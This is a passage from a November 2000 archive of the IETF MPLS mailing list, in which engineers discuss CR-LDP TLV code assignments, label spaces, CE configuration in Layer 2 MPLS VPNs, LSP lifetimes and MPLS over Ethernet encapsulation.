W6NCMM78; Thu, 23 Nov 2000 11:25:21 -0500 Message-ID: <3A1D44EE.9E4EB5C6@americasm01.nt.com> Date: Thu, 23 Nov 2000 11:25:18 -0500 From: "Peter Ashwood-Smith" Organization: Nortel Networks X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Lipovetsky, Sergey" CC: "'mpls@uu.net'" Subject: Re: draft-ietf-mpls-generalized-signaling-00 questions References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit > Is there other link parameters relevant to this checking? > > Other questions relate to the to the CR-LDP TLV encoding. > 0x0901 - Generalized Label Request > draft-ietf-mpls-diff-ext-07.txt uses this value for Diff-Serv > Which one is correct? Take the diff-ext as correct. I screwed up and collided with it. Sorry. > 0x0902 - Generalized Label Request with SONET/SDH label range and > Generalized Label > Which one is correct? > 0x0904 - Label Set and > Suggested Label > Which one is correct? I will pick a new range and reassign these in the next day or so. Stand by... > > Will 0x0903 be used for the Waveband Label? > > How can a downstream LSR know that a waveband allocation is requested? By context. There is almost no difference between lambda and lambda band as far as tandem LSRs are concerned. > > Thank you in advance, > Sergey > ===================================== > Sergey Lipovetsky +972-9-7663288 (ext.207) > Virata Corporation, Haharoshet 2, Kfar-Saba, Israel Cheers, Peter Ashwood-Smith From owner-mpls@UU.NET Thu Nov 23 14:32:24 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16590 for ; Thu, 23 Nov 2000 14:32:24 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqpa27819; Thu, 23 Nov 2000 19:30:32 GMT Received: by mail-control.mail.uu.net id QQjqpa27684 for mpls-outgoing; Thu, 23 Nov 2000 19:30:13 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqpa27661 for ; Thu, 23 Nov 2000 19:30:02 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqoz16768 for ; Thu, 23 Nov 2000 19:29:42 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqoz16049 for ; Thu, 23 Nov 2000 19:29:41 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id OAA12964 for mpls@uu.net; Thu, 23 Nov 2000 14:29:41 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqoz27601 for ; Thu, 23 Nov 2000 19:29:15 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqoz14011 for ; Thu, 23 Nov 2000 19:28:09 GMT Received: from procyon.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjqoz21723 for ; Thu, 23 Nov 2000 19:28:04 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id LAA04192; Thu, 23 Nov 2000 11:26:11 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Thu, 23 Nov 2000 11:32:36 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A73@BBY1EXM01> From: Shahram Davari To: "'James_Huang@Mitel.COM'" , mpls@UU.NET Subject: RE: Label space of a label advertised through MPLS-BGP Date: Thu, 23 Nov 2000 11:32:39 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi James, When two peer LSRs are not directly connected to each other you should use per-platform label space. Also note that any label that has been drawn from the per-platform label space should not be used any more by the per-interface label spaces. By observing this rule, B can unambiguously interpret the per-platform label even in the presence of PHP. Regards, -Shahram > -----Original Message----- > From: James_Huang@Mitel.COM [mailto:James_Huang@Mitel.COM] > Sent: Wednesday, November 22, 2000 3:12 PM > To: mpls@UU.NET > Subject: Label space of a label advertised through MPLS-BGP > > > Hi All, > Suppose two LSRs A and B are BGP peers and are not > directly adjacent. When > the egress LSR (B) advertises a FEC and the corresponding > lable to the ingree > LSR (A), in which label space should the advertised label > reside? Should B > always use its per-platform label space in this situation? > When B receives a > labeled packet in the FEC routed through A, how can B > unambiguously interpret > the label (assuming PHP is used)? See figure8.4 of Bruce > Davie's book on MPLS > for example of this scenario. > > Thanks for your answer. > > -- James Huang > > > From owner-mpls@UU.NET Thu Nov 23 15:05:17 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA00239 for ; Thu, 23 Nov 2000 15:05:17 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqnq02346; Thu, 23 Nov 2000 10:33:51 GMT Received: by mail-control.mail.uu.net id QQjqnq05435 for mpls-outgoing; Thu, 23 Nov 2000 10:33:30 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqnq05419 for ; Thu, 23 Nov 2000 10:33:20 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqnq14193 for ; Thu, 23 Nov 2000 10:32:44 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqnq14154 for ; Thu, 23 Nov 2000 10:32:43 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id FAA17781 for mpls@uu.net; Thu, 23 Nov 2000 05:32:43 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqnq05374 for ; Thu, 23 Nov 2000 10:32:28 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqnq12396 for ; Thu, 23 Nov 2000 10:31:17 GMT Received: from lohi.eng.telia.fi by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: lohi.eng.telia.fi [195.10.149.18]) id QQjqnq28897 for ; Thu, 23 Nov 2000 10:31:16 GMT Received: (from jh@localhost) by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id eANAVFN06135; Thu, 23 Nov 2000 12:31:15 +0200 Date: Thu, 23 Nov 2000 12:31:15 +0200 Message-Id: <200011231031.eANAVFN06135@lohi.eng.telia.fi> From: Juha Heinanen To: mpls@UU.NET Subject: ce range in l2 mpls vpns Sender: owner-mpls@UU.NET Precedence: bulk this may have been discussed already, but why does draft-kompella-mpls-l2vpn-01.txt require that the ce is configured with the ce id, the ce's range and all labels in that range? why can't the ce dynamically add a new neighbor when it learns about a new label via lmi, ilmi, or a corresponding mpls protocol? i'm asking this because the proposed practice would be a step backwards from how people have been running atm or fr vpns for years using cisco cpe routers, where the only thing i need to configure is the (sub)interface and an ip address. here is a frame relay example: interface Serial ip address
encapsulation frame-relay IETF ip ospf network point-to-multipoint and here is an atm example: vc-class atm broadcast broadcast interface ATM atm pvc 2 0 16 ilmi atm ilmi-pvc-discovery subinterface interface ATM / multipoint ip address address mask ip ospf network point-to-multipoint class-int broadcast dlcis or atm vcs of the other sites are learned dynamically via lmi or ilmi. as you see in above, the cpe doesn't even need to be configured with its own ce id. -- juha From owner-mpls@UU.NET Thu Nov 23 15:34:44 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12232 for ; Thu, 23 Nov 2000 15:34:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqpe03683; Thu, 23 Nov 2000 20:33:01 GMT Received: by mail-control.mail.uu.net id QQjqpe13350 for mpls-outgoing; Thu, 23 Nov 2000 20:32:33 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqpe13344 for ; Thu, 23 Nov 2000 20:32:31 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqpe07640 for ; Thu, 23 Nov 2000 20:31:30 GMT Received: from zrtps06s.us.nortel.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [47.140.48.50]) id QQjqpe10817 for ; Thu, 23 Nov 2000 20:31:25 GMT Received: from zcard00n.ca.nortel.com by zrtps06s.us.nortel.com; Thu, 23 Nov 2000 11:28:46 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id XNFMTQMW; Thu, 23 Nov 2000 11:25:21 -0500 Received: from americasm01.nt.com (bcarsf1d.ca.nortel.com [47.14.99.74]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id W6NCMM78; Thu, 23 Nov 2000 11:25:21 -0500 Message-ID: <3A1D44EE.9E4EB5C6@americasm01.nt.com> Date: Thu, 23 Nov 2000 11:25:18 -0500 From: "Peter Ashwood-Smith" Organization: Nortel Networks X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Lipovetsky, Sergey" CC: "'mpls@uu.net'" Subject: Re: draft-ietf-mpls-generalized-signaling-00 questions References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit > Is there other link parameters relevant to this checking? > > Other questions relate to the to the CR-LDP TLV encoding. > 0x0901 - Generalized Label Request > draft-ietf-mpls-diff-ext-07.txt uses this value for Diff-Serv > Which one is correct? Take the diff-ext as correct. I screwed up and collided with it. Sorry. > 0x0902 - Generalized Label Request with SONET/SDH label range and > Generalized Label > Which one is correct? > 0x0904 - Label Set and > Suggested Label > Which one is correct? I will pick a new range and reassign these in the next day or so. Stand by... > > Will 0x0903 be used for the Waveband Label? > > How can a downstream LSR know that a waveband allocation is requested? By context. There is almost no difference between lambda and lambda band as far as tandem LSRs are concerned. > > Thank you in advance, > Sergey > ===================================== > Sergey Lipovetsky +972-9-7663288 (ext.207) > Virata Corporation, Haharoshet 2, Kfar-Saba, Israel Cheers, Peter Ashwood-Smith From owner-mpls@UU.NET Thu Nov 23 16:23:03 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA02077 for ; Thu, 23 Nov 2000 16:23:02 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqph26425; Thu, 23 Nov 2000 21:21:25 GMT Received: by mail-control.mail.uu.net id QQjqph27814 for mpls-outgoing; Thu, 23 Nov 2000 21:20:59 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqph27802 for ; Thu, 23 Nov 2000 21:20:58 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqph08811 for ; Thu, 23 Nov 2000 21:20:23 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqph29625 for ; Thu, 23 Nov 2000 21:20:23 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id QAA17216 for mpls@uu.net; Thu, 23 Nov 2000 16:20:22 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqph27787 for ; Thu, 23 Nov 2000 21:20:11 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqph28670 for ; Thu, 23 Nov 2000 21:19:51 GMT Received: from procyon.pmc-sierra.bc.ca by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjqph28794 for ; Thu, 23 Nov 2000 21:19:51 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id NAA12070; Thu, 23 Nov 2000 13:18:02 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Thu, 23 Nov 2000 13:24:28 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A75@BBY1EXM01> From: =?utf-8?B?U2hhaHJhbSBEYXZhcmk=?= To: =?utf-8?B?J0ZhaXNhbCBTLiBOYWlrJw==?= , =?utf-8?B?bXBscyB1dW5ldA==?= Subject: =?utf-8?B?UkU6IExTUCBsaWZlIHRpbWUg?= Date: Thu, 23 Nov 2000 13:24:30 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="utf-8" Sender: owner-mpls@UU.NET Precedence: bulk Hi, > -----Original Message----- > From: Faisal S. Naik [mailto:faisal2@hamdard.net.pk] > Sent: Thursday, November 23, 2000 2:03 PM > To: mpls uunet > Subject: LSP life time > > > What is the lifetime of an LSP? This is not a standard issue, and depends on the application. If LSP is used for TE, the life time should not be short, because otherwise you will experience oscillations. > What is the number of tunnels that can be created within an LSP. In theory you could have many levels of hierarchy and therefore the answer is infinite. However if you consider only 2 levels of hierarchy then in theory you can have as many as 2^20 =1048576 LSPs inside an LSP tunnel. Regards, -Shahram > Regards, > --------- > Faisal S. Naik > Senior Network Engineer, > Hamdard Education Network, > Hamdard University, > Karachi. > Ph: (92)-021-4383986-7 > From owner-mpls@UU.NET Thu Nov 23 16:34:13 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA06728 for ; Thu, 23 Nov 2000 16:34:13 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqpi15631; Thu, 23 Nov 2000 21:32:32 GMT Received: by mail-control.mail.uu.net id QQjqpi28648 for mpls-outgoing; Thu, 23 Nov 2000 21:31:59 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqpi28640 for ; Thu, 23 Nov 2000 21:31:43 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqpi26707 for ; Thu, 23 Nov 2000 21:30:30 GMT Received: from red.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: red.juniper.net [207.17.136.137]) id QQjqpi14811 for ; Thu, 23 Nov 2000 21:30:29 GMT Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90]) by red.juniper.net (8.9.3/8.9.3) with ESMTP id NAA02491; Thu, 23 Nov 2000 13:30:28 -0800 (PST) Received: (from kireeti@localhost) by kummer.juniper.net (8.8.7/8.7.3) id NAA19446; Thu, 23 Nov 2000 13:30:27 -0800 (PST) Date: Thu, 23 Nov 2000 13:30:27 -0800 (PST) From: Kireeti Kompella Message-Id: <200011232130.NAA19446@kummer.juniper.net> To: E.T.Metz@kpn.com, jh@lohi.eng.telia.fi, kireeti@juniper.net Subject: Re: FW: ce range in l2 mpls vpns Cc: mpls@UU.NET Sender: owner-mpls@UU.NET Precedence: bulk Hi Eduard, Juha, > This is indeed a bit confusing. Yes, sorry, my fault. When the text says "CE configuration", what is meant is "per-CE configuration on a PE" ... > As far as I understand (Kireeti: correct me if I'm wrong here) the > parameters are actually *configured* on the PE. Correct. > However, the CE should know > about this. How much the CE needs to know can vary from as little as "this interface (to the PE) is Frame Relay, and the PE will tell me which DLCIs are up, and inarp will tell me addresses/OSPF will tell me routes" to "for this interface, this is the list of DLCIs and corresponding IP addresses" if LMI/inarp is not supported. > In particular the CE configuration should reflect the same logic > that is applied by the PE in mapping CE-to-CE circuits to eachother. This is > the algorithm described in Section 4.3.1. When CE and PE configuration are > not aligned on this point, the CE may expect to connect to one site on a > particular circuit, while the PE actually connects it to another one. If the CEs are running (say) OSPF, and learn routes dynamically, they should not really care whether DLCI 56 or 93 gets them to a given site. However, the network operator may want to know this. > I think the text should say that the parameters are configured on the PE, > and that the CE should know about this / reflect this in it's configuration. > Currently, it is described in the exact opposite way. Also it makes less > sense to configure it on the CE since there is no interaction between PE and > CE to exchange this information. The next version will state this more clearly. Kireeti. From owner-mpls@UU.NET Thu Nov 23 21:23:05 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA21559 for ; Thu, 23 Nov 2000 21:23:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqpn16410; Thu, 23 Nov 2000 22:55:34 GMT Received: by mail-control.mail.uu.net id QQjqpn15150 for mpls-outgoing; Thu, 23 Nov 2000 22:55:09 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqpn15145 for ; Thu, 23 Nov 2000 22:55:09 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqpn13559 for ; Thu, 23 Nov 2000 22:54:54 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqpn08404 for ; Thu, 23 Nov 2000 22:54:53 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA20830 for mpls@uu.net; Thu, 23 Nov 2000 17:54:52 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqpn15122 for ; Thu, 23 Nov 2000 22:54:24 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqpn19784 for ; Thu, 23 Nov 2000 22:52:36 GMT Received: from sj-msg-core-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10]) id QQjqpn05468 for ; Thu, 23 Nov 2000 22:52:36 GMT Received: from bulkrate.cisco.com (bulkrate.cisco.com [171.71.160.24]) by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id OAA19364; Thu, 23 Nov 2000 14:52:36 -0800 (PST) Received: from jlawrenc-pc.cisco.com (jlawrenc-isdn.cisco.com [144.254.141.30]) by bulkrate.cisco.com (Mirapoint) with ESMTP id ABB00738; Thu, 23 Nov 2000 14:52:34 -0800 (PST) Message-Id: <4.3.2.7.2.20001124093734.00ae4b80@bulkrate.cisco.com> X-Sender: jlawrenc@bulkrate.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 24 Nov 2000 09:51:35 +1100 To: "Faisal S. Naik" From: Jeremy Lawrence Subject: Re: LSP life time Cc: "mpls uunet" In-Reply-To: <000b01c05580$12f07fe0$cc3987cb@faisal-s> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk At 00:03 11/24/2000 +0500, Faisal S. Naik wrote: >What is the lifetime of an LSP? A hop-by-hop routed LSP will exist without change for as long as there is no change in the route for the FEC for which it is established. In an ideal network which never experiences routing changes, the hop-by-hop routed LSPs' lifetimes will be infinite. A traffic engineering LSP will exist without change for as long as there is no significant change in link loading, or other routing state, which would affect the routing of the LSP. Other uses of LSPs are possible, and some of those might involve more frequent changes or set-ups of LSPs. >What is the number of tunnels that can be created within an LSP. It is effectively unlimited. If a single extra level of labelling is used inside the LSP, 1M LSPs can be carried inside an LSP. However, labels can be stacked to an arbitrary number of levels, so an arbitrary number of LSPs can be carried inside an LSP. (It is also possible to use other types of tunnels, e.g. IPSec or GRE, inside an LSP.) Jeremy Lawrence From owner-mpls@UU.NET Fri Nov 24 03:23:38 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA00944 for ; Fri, 24 Nov 2000 03:23:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqqz24878; Fri, 24 Nov 2000 08:21:42 GMT Received: by mail-control.mail.uu.net id QQjqqz16496 for mpls-outgoing; Fri, 24 Nov 2000 08:21:12 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqqz16456 for ; Fri, 24 Nov 2000 08:21:04 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqqz10602 for ; Fri, 24 Nov 2000 08:20:41 GMT Received: from web2301.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP (peer crosschecked as: web2301.mail.yahoo.com [128.11.68.52]) id QQjqqz23362 for ; Fri, 24 Nov 2000 08:20:40 GMT Message-ID: <20001124082036.17555.qmail@web2301.mail.yahoo.com> Received: from [132.233.247.4] by web2301.mail.yahoo.com; Fri, 24 Nov 2000 00:20:36 PST Date: Fri, 24 Nov 2000 00:20:36 -0800 (PST) From: Sandeep Relan Reply-To: srelan@ieee.org Subject: MPLS over Ethernet To: mpls@UU.NET MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-mpls@UU.NET Precedence: bulk Dear Friends, I had a question : Does any Vendor actively use IP over IEEE 802.3 LLC/SNAP ..?? In my knowledge, IP traffic over Ethernet has always been Ethernet Type II. I am not sure if any vendor sends IP traffic on IEEE 802.3 LLC SNAP. The implication is that MPLS encapsulation with 802.3 LLC/SNAP may not practically occur with any LSR..!! Appreciate any insight into this issue..especially why IEEE 802.3 LLC/SNAP is not that popular..?? Thanks, Sandeep __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-mpls@UU.NET Fri Nov 24 04:00:40 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA12771 for ; Fri, 24 Nov 2000 04:00:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqrb12598; Fri, 24 Nov 2000 08:59:04 GMT Received: by mail-control.mail.uu.net id QQjqrb18589 for mpls-outgoing; Fri, 24 Nov 2000 08:58:36 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqrb18584 for ; Fri, 24 Nov 2000 08:58:34 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqrb05724 for ; Fri, 24 Nov 2000 08:57:40 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqrb08983 for ; Fri, 24 Nov 2000 08:57:39 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id DAA12477 for mpls@uu.net; Fri, 24 Nov 2000 03:57:39 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqrb18560 for ; Fri, 24 Nov 2000 08:57:16 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqrb29575 for ; Fri, 24 Nov 2000 08:57:07 GMT Received: from cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: megha.cisco.com [192.122.173.140]) id QQjqrb09948 for ; Fri, 24 Nov 2000 08:57:06 GMT Received: from cisco.com (vada.cisco.com [192.122.173.18]) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id OAA08582; Fri, 24 Nov 2000 14:26:05 +0530 (IST) Message-ID: <3A1E2D57.B1E1D56D@cisco.com> Date: Fri, 24 Nov 2000 14:26:55 +0530 From: Shirish Organization: HCL Technologies Ltd. X-Mailer: Mozilla 4.51 [en] (X11; I; SunOS 5.5.1 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: srelan@ieee.org CC: mpls@UU.NET Subject: Re: MPLS over Ethernet References: <20001124082036.17555.qmail@web2301.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi Sandeep, Usually this encapsulation is used in ATM at Adaptaion layer 5 for Classical IP over Atm traffic and Lan Emulation. So ATM comes into the play instead of Ethernet , This encap may occur in MPLS deployed ATM networks , and may not be with ethernet.But I am also not sure whether any Service provider does support IP traffic on IEEE 802.3 LLC SNAP. Thanks. Shirish Sandeep Relan wrote: > Dear Friends, > > I had a question : Does any Vendor actively use IP > over IEEE 802.3 LLC/SNAP ..?? > > In my knowledge, IP traffic over Ethernet has always > been Ethernet Type II. I am not sure if any vendor > sends IP traffic on IEEE 802.3 LLC SNAP. > > The implication is that MPLS encapsulation with > 802.3 LLC/SNAP may not practically occur with any > LSR..!! > > Appreciate any insight into this issue..especially > why IEEE 802.3 LLC/SNAP is not that popular..?? > > Thanks, > Sandeep > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. Millions of Products. > http://shopping.yahoo.com/ From owner-mpls@UU.NET Fri Nov 24 04:18:07 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA18355 for ; Fri, 24 Nov 2000 04:18:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqrd07398; Fri, 24 Nov 2000 09:16:32 GMT Received: by mail-control.mail.uu.net id QQjqrd01582 for mpls-outgoing; Fri, 24 Nov 2000 09:16:04 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqrd01572 for ; Fri, 24 Nov 2000 09:16:02 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqrd10500 for ; Fri, 24 Nov 2000 09:15:25 GMT Received: from cauvery.india.mantranet.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [164.164.94.65]) id QQjqrd05590 for ; Fri, 24 Nov 2000 09:15:23 GMT Received: by CAUVERY with Internet Mail Service (5.5.2650.21) id ; Fri, 24 Nov 2000 14:48:08 +0530 Message-ID: 